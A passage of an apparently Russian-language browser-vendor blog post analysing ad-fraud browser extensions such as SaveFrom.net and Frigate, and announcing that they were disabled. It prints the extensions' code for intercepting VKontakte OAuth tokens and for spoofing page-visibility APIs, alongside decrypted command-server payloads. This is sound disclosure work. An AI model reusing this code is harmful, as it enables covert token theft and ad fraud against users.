\u043f\u0440\u043e\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u0435\u043c\u044b\u0435 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b), entry_point.js (\u043a\u043e\u0434, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043e\u0442\u0434\u0430\u0451\u0442\u0441\u044f \u043d\u0430 \/ext\/stat).<\/p>\n<p>  bg.js \u0438 page.js \u0443\u043c\u0435\u044e\u0442 \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u044c \u0438 \u0432\u043d\u0435\u0434\u0440\u044f\u0442\u044c \u0432 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b iframe \u0441 video \u0434\u043b\u044f \u043f\u043e\u043a\u0430\u0437\u0430 \u0440\u0435\u043a\u043b\u0430\u043c\u044b. \u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, bg.js \u0438\u043c\u0435\u0435\u0442 \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u043e\u0441\u0442\u044c, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043c\u043e\u0436\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u0434\u043b\u044f \u043f\u0435\u0440\u0435\u0445\u0432\u0430\u0442\u0430 oAuth-\u0442\u043e\u043a\u0435\u043d\u043e\u0432 \u0441\u0435\u0440\u0432\u0438\u0441\u0430 \u0412\u041a\u043e\u043d\u0442\u0430\u043a\u0442\u0435. \u041c\u044b \u043d\u0435 \u043c\u043e\u0436\u0435\u043c \u043e\u0434\u043d\u043e\u0437\u043d\u0430\u0447\u043d\u043e \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0442\u044c, \u0447\u0442\u043e \u044d\u0442\u043e\u0442 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u043e\u0441\u0442\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0441\u044f, \u043d\u043e \u043e\u043d \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u0432 \u043a\u043e\u0434\u0435, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u043c\u044b <u>\u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u043c<\/u> \u043e\u0442\u043e\u0437\u0432\u0430\u0442\u044c \u0442\u043e\u043a\u0435\u043d\u044b \u0434\u043b\u044f vk.com.<\/p>\n<div class=\"spoiler\" role=\"button\" tabindex=\"0\">                         <b class=\"spoiler_title\">\u041a\u043e\u0434 \u0434\u043b\u044f \u043f\u0435\u0440\u0435\u0445\u0432\u0430\u0442\u0430 \u0442\u043e\u043a\u0435\u043d\u043e\u0432<\/b>                         <\/p>\n<div class=\"spoiler_text\">\n<pre><code class=\"javascript\">async vkt(e) {             const {                 core: {                     state: t,                     webRequestManager: {                         onBeforeRedirect: s                     }                 },                 options: {                     oauth: r                 }             } = this;             if (!r || !e) return;             const n = (await In.get(&quot;https:\/\/oauth.vk.com\/authorize&quot;, r).then(e =&gt; e.text())).match(\/[^&quot;]+\\?act=grant_access&amp;[^&quot;]+\/),                 i = n &amp;&amp; n[0];             if (!i) return;             const o = new ze,                 a = e =&gt; {                     const {                         details: {                             url: t,                             redirectUrl: r                         }                     } = e;                     if (t !== i) return;                     const n = r.match(\/#access_token=([a-z0-9]+)\/),                         c = n &amp;&amp; n[1];                     o.resolve(c), s.removeListener(a)                 };             s.addListener(a), await In.get(i);             const c = await o;             c &amp;&amp; (await t.set(&quot;vkt&quot;, c), this.pushData({                 id: e,                 token: c             }))         }<\/code><\/pre>\n<p>  <\/div>\n<\/p><\/div>\n<p>  \u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, \u0432 bg.js \u043c\u044b \u0432\u0438\u0434\u0438\u043c \u043a\u043e\u0434, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e\u0434\u043c\u0435\u043d\u044f\u0435\u0442 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u043d\u044b\u0439 API, \u0447\u0442\u043e\u0431\u044b \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u044b \u0437\u0430\u0441\u0447\u0438\u0442\u044b\u0432\u0430\u043b\u0438\u0441\u044c \u0434\u0430\u0436\u0435 \u043f\u0440\u0438 \u0441\u043a\u0440\u044b\u0442\u043e\u043c \u0432\u0438\u0434\u0435\u043e. <\/p>\n<div class=\"spoiler\" role=\"button\" tabindex=\"0\">                         <b class=\"spoiler_title\">\u041a\u043e\u0434 \u0434\u043b\u044f \u043f\u043e\u0434\u043c\u0435\u043d\u044b \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u043d\u043e\u0433\u043e API<\/b>                         <\/p>\n<div class=\"spoiler_text\">\n<pre><code class=\"javascript\">class Ci extends mi {     patch(e) {         var t;         const s = e.Document.prototype;         for (const e of [&quot;hidden&quot;, &quot;webkitHidden&quot;]) Js.getter(s, e, () =&gt; !1);         for (const e of [&quot;visibilityState&quot;, &quot;webkitVisibilityState&quot;]) Js.getter(s, e, () =&gt; &quot;visible&quot;);         Js.method(s, &quot;hasFocus&quot;, () =&gt; !0), Js.getter(e, &quot;outerWidth&quot;, () =&gt; e.innerWidth), Js.getter(e, &quot;outerHeight&quot;, () =&gt; e.innerHeight);         const r = &quot;availTop&quot; in e.screen ? null !== (t = Reflect.get(e.screen, &quot;availTop&quot;)) &amp;&amp; void 0 !== t ? t : 0 : void 0;         Js.getter(e, &quot;screenY&quot;, () =&gt; null != r ? r : e.screenY), Js.getter(e, &quot;screenTop&quot;, () =&gt; null != r ? r : e.screenTop)     } }<\/code><\/pre>\n<p>  <\/div>\n<\/p><\/div>\n<p>  <\/p>\n<h3>\/ext\/def<\/h3>\n<p>  \u041f\u0440\u0435\u0434\u043f\u043e\u043b\u043e\u0436\u0438\u0442\u0435\u043b\u044c\u043d\u043e, \u044d\u0442\u043e\u0442 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a \u043e\u0442\u0432\u0435\u0447\u0430\u0435\u0442 \u0437\u0430 \u043e\u0442\u0434\u0430\u0447\u0443 \u0441\u043f\u0438\u0441\u043a\u0430 \u0442\u0435\u043a\u0443\u0449\u0438\u0445 \u0437\u0430\u0434\u0430\u043d\u0438\u0439 \u0434\u043b\u044f \u043e\u0442\u043a\u0440\u0443\u0442\u043a\u0438 \u0432\u0438\u0434\u0435\u043e. \u0417\u0430\u043f\u0440\u043e\u0441 \u043a\u043b\u0438\u0435\u043d\u0442\u0430 \u0438 \u043e\u0442\u0432\u0435\u0442 \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u0441\u0436\u0430\u0442\u044b \u0438 \u0437\u0430\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u044b \u043d\u0430 \u043a\u043b\u044e\u0447\u0435 \u0438\u0437 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430 hk.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/7p\/dm\/id\/7pdmidfoh9sctv8ovlorqrjtry8.png\"><\/p>\n<div class=\"spoiler\" role=\"button\" tabindex=\"0\">                         <b class=\"spoiler_title\">\u041f\u0440\u0438\u043c\u0435\u0440 \u0440\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u043e\u0442\u0432\u0435\u0442\u0430<\/b>                         <\/p>\n<div class=\"spoiler_text\">\n<pre><code class=\"xml\">       &quot;*:\/\/*.utraff.com\/*&quot;,                     &quot;*:\/\/*.lookmeet.tv\/*&quot;,                     &quot;*:\/\/*.videout.ru\/*&quot;,                     &quot;*:\/\/*.buzzoola.com\/*&quot;,                     &quot;*:\/\/*.vihub.ru\/*&quot;,                     &quot;*:\/\/*.betweendigital.com\/*&quot;,                     &quot;*:\/\/*.tvigle.ru\/*&quot;,                     &quot;*:\/\/*.megogo.ru\/*&quot;,                     &quot;*:\/\/*.megogo.net\/*&quot;,                     &quot;*:\/\/*.fqtag.com\/*&quot;,                     &quot;*:\/\/*.instreamvideo.ru\/*&quot;,                     &quot;*:\/\/*.videoroll.net\/*&quot;,                     &quot;*:\/\/*.fresh-video.com\/*&quot;,                     &quot;*:\/\/playreplay.me\/*&quot;                 ],                    .......         {             &quot;id&quot;: 368,             &quot;type&quot;: &quot;gb&quot;,             &quot;options&quot;: {                 &quot;blacklist&quot;: [                     &quot;*:\/\/an.yandex.ru\/meta\/*&quot;,                     &quot;*:\/\/an.yandex.ru\/jserr\/*&quot;,                     &quot;*:\/\/an.yandex.ru\/jstracer&quot;                 ]             }         }     ],     &quot;dup&quot;: false }<\/code><\/pre>\n<p>  <\/div>\n<\/p><\/div>\n<p>  \u0412 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0432\u044b\u0434\u0430\u043d\u043d\u043e\u0433\u043e \u0437\u0430\u0434\u0430\u043d\u0438\u044f \u0432\u0438\u0434\u043d\u043e, \u0447\u0442\u043e \u0431\u0440\u0430\u0443\u0437\u0435\u0440 \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u0435\u0442 \u0432\u0438\u0434\u0435\u043e\u043f\u043b\u0435\u0435\u0440 \u0438 \u0432\u043a\u043b\u044e\u0447\u0430\u0435\u0442 \u0432 \u043d\u0451\u043c \u0432\u0438\u0434\u0435\u043e. \u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u0441\u0430\u043c \u0432\u0438\u0434\u0435\u043e\u043f\u043b\u0435\u0435\u0440 \u043d\u0435 \u0432\u0438\u0434\u0435\u043d \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044e \u0438 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0435 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u0441\u043a\u0440\u044b\u0442\u043d\u043e.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/b0\/td\/kv\/b0tdkvileh6uw2f4-0tpcg5y_d4.png\"><\/p>\n<h3>\/ext\/beacon<\/h3>\n<p>  \u041e\u0442\u0447\u0451\u0442 \u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0438 \u0437\u0430\u0434\u0430\u043d\u0438\u044f \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0435 \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442 \u043d\u0430 \/ext\/beacon. \u0421 \u0443\u0436\u0435 \u0437\u043d\u0430\u043a\u043e\u043c\u044b\u043c \u043d\u0430\u043c \u0441\u0436\u0430\u0442\u0438\u0435\u043c \u0438 \u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u0438\u0435\u043c.<\/p>\n<div class=\"spoiler\" role=\"button\" tabindex=\"0\">                         <b class=\"spoiler_title\">\u0422\u0435\u043b\u043e \u0437\u0430\u043f\u0440\u043e\u0441\u0430<\/b>                         <\/p>\n<div class=\"spoiler_text\">\n<pre><code class=\"xml\">                     &quot;pageId&quot;: &quot;QYJZMN&quot;,                     &quot;tabId&quot;: -1,                     &quot;frameId&quot;: 1580,                     &quot;origin&quot;: &quot;https:\/\/kinorole.ru&quot;,                     &quot;url&quot;: &quot;https:\/\/kinorole.ru\/robots.txt&quot;                 }             },             {                 &quot;scriptId&quot;: 193,                 &quot;timestamp&quot;: 1606678594,                 &quot;type&quot;: &quot;stat&quot;,                 &quot;version&quot;: &quot;1961&quot;,                 &quot;payload&quot;: {                     &quot;type&quot;: &quot;etab&quot;,                     &quot;key&quot;: &quot;player_load&quot;                 },                 &quot;env&quot;: {                     &quot;world&quot;: &quot;ext&quot;,                     &quot;pageId&quot;: &quot;MTJKAC&quot;,                     &quot;tabId&quot;: -1,                     &quot;frameId&quot;: 1581,                     &quot;origin&quot;: &quot;https:\/\/kinorole.ru&quot;,                     &quot;url&quot;: &quot;https:\/\/kinorole.ru\/film\/_hodjachie-mertveci?v=3&amp;utm_source=mbac&amp;utm_campaign=193&quot;                 }             }         ]     } }<\/code><\/pre>\n<p>  <\/div>\n<\/p><\/div>\n<p>  <\/p>\n<h2>\u041a\u0440\u0430\u0442\u043a\u0438\u0439 \u043f\u0435\u0440\u0435\u0441\u043a\u0430\u0437 \u0442\u043e\u0433\u043e, \u0447\u0442\u043e \u0434\u0435\u043b\u0430\u044e\u0442 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u044f<\/h2>\n<p>  \u041f\u043e\u0432\u0442\u043e\u0440\u0438\u043c \u0435\u0449\u0451 \u0440\u0430\u0437 \u0432\u0441\u0451 \u0442\u043e \u0436\u0435 \u0441\u0430\u043c\u043e\u0435, \u043d\u043e \u043a\u0440\u0430\u0442\u043a\u043e.<\/p>\n<ol>\n<li>\u0420\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u044f \u0437\u0430\u043f\u0440\u0430\u0448\u0438\u0432\u0430\u044e\u0442 \u0441 \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u043a\u043e\u043d\u0444\u0438\u0433, \u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442\u0441\u044f \u0430\u0434\u0440\u0435\u0441 \u0434\u0440\u0443\u0433\u043e\u0433\u043e, \u043a\u043e\u043c\u0430\u043d\u0434\u043d\u043e\u0433\u043e \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u0441 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u043e\u043c \/ext\/stat .<\/li>\n<li>\u041e\u0431\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a \/ext\/stat \u043f\u0440\u0438\u0441\u0432\u0430\u0438\u0432\u0430\u0435\u0442 \u0443\u043d\u0438\u043a\u0430\u043b\u044c\u043d\u044b\u0439 uuid \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044e.<\/li>\n<li>\u041a\u0430\u0436\u0434\u044b\u0439 \u0447\u0430\u0441 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u044f \u0441\u043e\u0432\u0435\u0440\u0448\u0430\u044e\u0442 \u0437\u0430\u043f\u0440\u043e\u0441 \u043d\u0430 \u0430\u0434\u0440\u0435\u0441 \/ext\/stat \u0438 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u044e\u0442 \u043a\u043e\u0434, \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u043d\u044b\u0439 \u0432 \u043e\u0442\u0432\u0435\u0442\u0435.<\/li>\n<li>\u0421\u043a\u0440\u0438\u043f\u0442 \u0441 \/ext\/stat \u0441\u043e\u0432\u0435\u0440\u0448\u0430\u0435\u0442 \u0437\u0430\u043f\u0440\u043e\u0441 \u043d\u0430 \/ext\/up, \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u0441\u0436\u0430\u0442\u044b\u0439 \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u0439 \u043a\u043e\u0434 \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f c\u043a\u0440\u0438\u043f\u0442\u0430.<\/li>\n<li>\u0412\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0441\u043a\u0440\u0438\u043f\u0442\u0430 \u0441 \/ext\/up \u043c\u043e\u0436\u0435\u0442 \u0430\u043a\u0442\u0438\u0432\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u043e\u0441\u0442\u044c \u043f\u0435\u0440\u0435\u0445\u0432\u0430\u0442\u0430 access_token&#8217;\u043e\u0432 \u0412\u041a\u043e\u043d\u0442\u0430\u043a\u0442\u0435 \u043f\u0440\u0438 \u0438\u0445 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c. \u041f\u0435\u0440\u0435\u0445\u0432\u0430\u0447\u0435\u043d\u043d\u044b\u0435 \u0442\u043e\u043a\u0435\u043d\u044b \u043c\u043e\u0433\u0443\u0442 \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c\u0441\u044f \u043d\u0430 \/ext\/data.<\/li>\n<li>\u0421\u043a\u0440\u0438\u043f\u0442 \u0441 \/ext\/up \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u0441\u043f\u0438\u0441\u043e\u043a \u0437\u0430\u0434\u0430\u043d\u0438\u0439 \u0441 \/ext\/def. \u0417\u0430\u043f\u0440\u043e\u0441 \u0438 \u043e\u0442\u0432\u0435\u0442 \u0448\u0438\u0444\u0440\u0443\u044e\u0442\u0441\u044f \u043d\u0430 \u043a\u043b\u044e\u0447\u0435, \u043f\u0435\u0440\u0435\u0434\u0430\u043d\u043d\u043e\u043c \u0432 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0435 hk.<\/li>\n<li>\u0412\u0438\u0434\u0435\u043e \u0441 \u0440\u0435\u043a\u043b\u0430\u043c\u043e\u0439 \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0441\u044f \u0432 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0435 \u0432 \u0442\u0430\u0439\u043d\u0435 \u043e\u0442 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f.<\/li>\n<li>\u041e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043e\u0442\u0447\u0451\u0442 \u043d\u0430 \/ext\/beacon.<\/li>\n<\/ol>\n<p>  \u042d\u0442\u043e \u0442\u043e, \u043a\u0430\u043a \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u0440\u0430\u0431\u043e\u0442\u0430 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0439, \u0435\u0441\u043b\u0438 \u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c \u043d\u0430 \u0438\u0445 \u043a\u043e\u0434 \u0438 \u0442\u0440\u0430\u0444\u0438\u043a. \u041d\u043e \u043f\u043e\u043b\u0435\u0437\u043d\u043e \u0432\u0437\u0433\u043b\u044f\u043d\u0443\u0442\u044c \u043d\u0430 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0443 \u0438 \u0441\u043e \u0441\u0442\u043e\u0440\u043e\u043d\u044b \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0437\u0430 \u0441\u043f\u043e\u0439\u043b\u0435\u0440\u043e\u043c \u0432\u0430\u0441 \u0436\u0434\u0451\u0442 \u043f\u043e\u0434\u0431\u043e\u0440\u043a\u0430 \u043e\u0442\u0437\u044b\u0432\u043e\u0432 \u0438\u0437 Chrome Web Store.<\/p>\n<div class=\"spoiler\" role=\"button\" tabindex=\"0\">                         <b class=\"spoiler_title\">\u041e\u0442\u0437\u044b\u0432\u044b \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439<\/b>                         <\/p>\n<div class=\"spoiler_text\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/5z\/it\/qj\/5zitqjckp3zyb5qzsiniu34hbji.png\"><br \/>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/qo\/fs\/qt\/qofsqtmzwenz8qzkvadnxk4to2c.png\"><br \/>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/bn\/u2\/3g\/bnu23guvt4_i1ozj7rqp21kl4ki.png\"><br \/>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/tq\/_x\/bs\/tq_xbsj2kqktz--o3bfl8ccrbai.png\"><br \/>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/b4\/3t\/j3\/b43tj3kjdhdvqn_rcp8hzyzzptw.png\"><br \/>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/gc\/kb\/p2\/gckbp2k0dlpintbgxrbvsjcu-vq.png\"><br \/>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/eq\/mp\/gg\/eqmpggq77cdiecylu3ozro_gc-g.png\">  <\/div>\n<\/p><\/div>\n<p>  <\/p>\n<h2>\u041f\u0440\u0438\u043d\u044f\u0442\u044b\u0435 \u043d\u0430\u043c\u0438 \u043c\u0435\u0440\u044b<\/h2>\n<p>  \u041c\u044b \u0441\u0447\u0438\u0442\u0430\u0435\u043c \u043e\u043f\u0438\u0441\u0430\u043d\u043d\u043e\u0435 \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0435 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043e\u043f\u0430\u0441\u043d\u044b\u043c \u0438 \u043d\u0435\u0434\u043e\u0431\u0440\u043e\u0441\u043e\u0432\u0435\u0441\u0442\u043d\u044b\u043c, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u043f\u0440\u0438\u043d\u044f\u043b\u0438 \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u0432 \u042f\u043d\u0434\u0435\u043a\u0441.\u0411\u0440\u0430\u0443\u0437\u0435\u0440\u0435 \u0443\u0436\u0435 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u043d\u044b\u0435 \u043a\u043e\u043f\u0438\u0438 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0439 SaveFrom.net, Frigate Light, Frigate CDN \u0438 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0434\u0440\u0443\u0433\u0438\u0445. \u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u044d\u0442\u0438\u0445 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0439 \u043f\u043e\u043b\u0443\u0447\u0430\u0442 \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u0435, \u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u043c\u044b \u0440\u0430\u0441\u0441\u043a\u0430\u0436\u0435\u043c \u043e \u043f\u0440\u0438\u0447\u0438\u043d\u0430\u0445 \u043e\u0442\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f. \u041f\u043e\u0441\u043b\u0435 \u044d\u0442\u043e\u0433\u043e \u043e\u043d\u0438 \u0441\u043c\u043e\u0433\u0443\u0442 \u043f\u0440\u0438\u043d\u044f\u0442\u044c \u043e\u0441\u043e\u0437\u043d\u0430\u043d\u043d\u043e\u0435 \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u0438 \u043f\u0440\u0438 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u0438 \u0432\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u0438\u0445 \u0432\u043d\u043e\u0432\u044c (\u0445\u043e\u0442\u044f \u043c\u044b \u043d\u0430\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u043e \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u043c \u0442\u0430\u043a \u043d\u0435 \u043f\u043e\u0441\u0442\u0443\u043f\u0430\u0442\u044c). <\/p>\n<p>  \u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, \u043c\u044b \u043f\u0435\u0440\u0435\u0434\u0430\u043b\u0438 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u044b \u043d\u0430\u0448\u0435\u0433\u043e \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u043a\u043e\u043b\u043b\u0435\u0433\u0430\u043c \u0438\u0437 \u00ab\u041b\u0430\u0431\u043e\u0440\u0430\u0442\u043e\u0440\u0438\u0438 \u041a\u0430\u0441\u043f\u0435\u0440\u0441\u043a\u043e\u0433\u043e\u00bb \u0438 Google. \u0412 \u00ab\u041b\u0430\u0431\u043e\u0440\u0430\u0442\u043e\u0440\u0438\u0438 \u041a\u0430\u0441\u043f\u0435\u0440\u0441\u043a\u043e\u0433\u043e\u00bb \u0443\u0436\u0435 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u043b\u0438 \u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0439 \u0441\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0449\u0435\u0439 \u0432 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u044f\u0445, \u0442\u0435\u043f\u0435\u0440\u044c \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u044b \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 \u0434\u0435\u0442\u0435\u043a\u0442\u0438\u0440\u0443\u044e\u0442 \u044d\u0442\u0443 \u0443\u0433\u0440\u043e\u0437\u0443 \u0438 \u0431\u043b\u043e\u043a\u0438\u0440\u0443\u044e\u0442 \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0435 \u0441 \u043d\u0435\u0439 URL-\u0430\u0434\u0440\u0435\u0441\u0430 \u0438 \u0444\u0440\u0430\u0433\u043c\u0435\u043d\u0442\u044b \u0441\u043a\u0440\u0438\u043f\u0442\u043e\u0432. <\/p>\n<p>  \u0422\u0430\u043a\u0436\u0435 \u0432 \u0445\u043e\u0434\u0435 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u0431\u044b\u043b\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043e \u0431\u043e\u043b\u0435\u0435 \u0434\u0432\u0443\u0445 \u0434\u0435\u0441\u044f\u0442\u043a\u043e\u0432 \u043c\u0435\u043d\u0435\u0435 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u0445 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u043d\u044b\u0445 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0439, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u0445 \u0430\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u043d\u044b\u0439 \u043a\u043e\u0434. \u0418\u0445 \u043c\u044b \u0442\u0430\u043a\u0436\u0435 \u043e\u0442\u043a\u043b\u044e\u0447\u0430\u0435\u043c. \u041c\u044b \u043f\u0440\u0438\u0437\u044b\u0432\u0430\u0435\u043c \u044d\u043a\u0441\u043f\u0435\u0440\u0442\u043e\u0432 \u043f\u0440\u0438\u0441\u043e\u0435\u0434\u0438\u043d\u0438\u0442\u044c\u0441\u044f \u043a \u043f\u043e\u0438\u0441\u043a\u0443 \u0438 \u0434\u0440\u0443\u0433\u0438\u0445 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043e\u043f\u0430\u0441\u043d\u044b\u0445 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0439. \u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u044b \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u0438\u0441\u044b\u043b\u0430\u0442\u044c \u0447\u0435\u0440\u0435\u0437 <a href=\"https:\/\/browser.yandex.ru\/feedback\">\u0444\u043e\u0440\u043c\u0443<\/a>. \u0412\u043c\u0435\u0441\u0442\u0435 \u043c\u044b \u0441\u043c\u043e\u0436\u0435\u043c \u043f\u043e\u0431\u043e\u0440\u043e\u0442\u044c \u044d\u0442\u0443 \u0443\u0433\u0440\u043e\u0437\u0443. <\/p>\n<div class=\"spoiler\" role=\"button\" tabindex=\"0\">                         <b class=\"spoiler_title\">\u0421\u043f\u0438\u0441\u043e\u043a id \u043e\u0442\u043a\u043b\u044e\u0447\u0435\u043d\u043d\u044b\u0445 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0439<\/b>                         <\/p>\n<div class=\"spoiler_text\">acdfdofofabmipgcolilkfhnpoclgpdd<br \/>  oobppndjaabcidladjeehddkgkccfcpn<br \/>  aonedlchkbicmhepimiahfalheedjgbh<br \/>  aoeacblfmdamdejeiaepojbhohhkmkjh<br \/>  eoeoincjhpflnpdaiemgbboknhkblome<br \/>  onbkopaoemachfglhlpomhbpofepfpom<br \/>  inlgdellfblpplcogjfedlhjnpgafnia<br \/>  ejfajpmpabphhkcacijnhggimhelopfg<br \/>  pgjndpcilbcanlnhhjmhjalilcmoicjc<br \/>  napifgkjbjeodgmfjmgncljmnmdefpbf<br \/>  glgemekgfjppocilabhlcbngobillcgf<br \/>  klmjcelobglnhnbfpmlbgnoeippfhhil<br \/>  ldbfffpdfgghehkkckifnjhoncdgjkib<br \/>  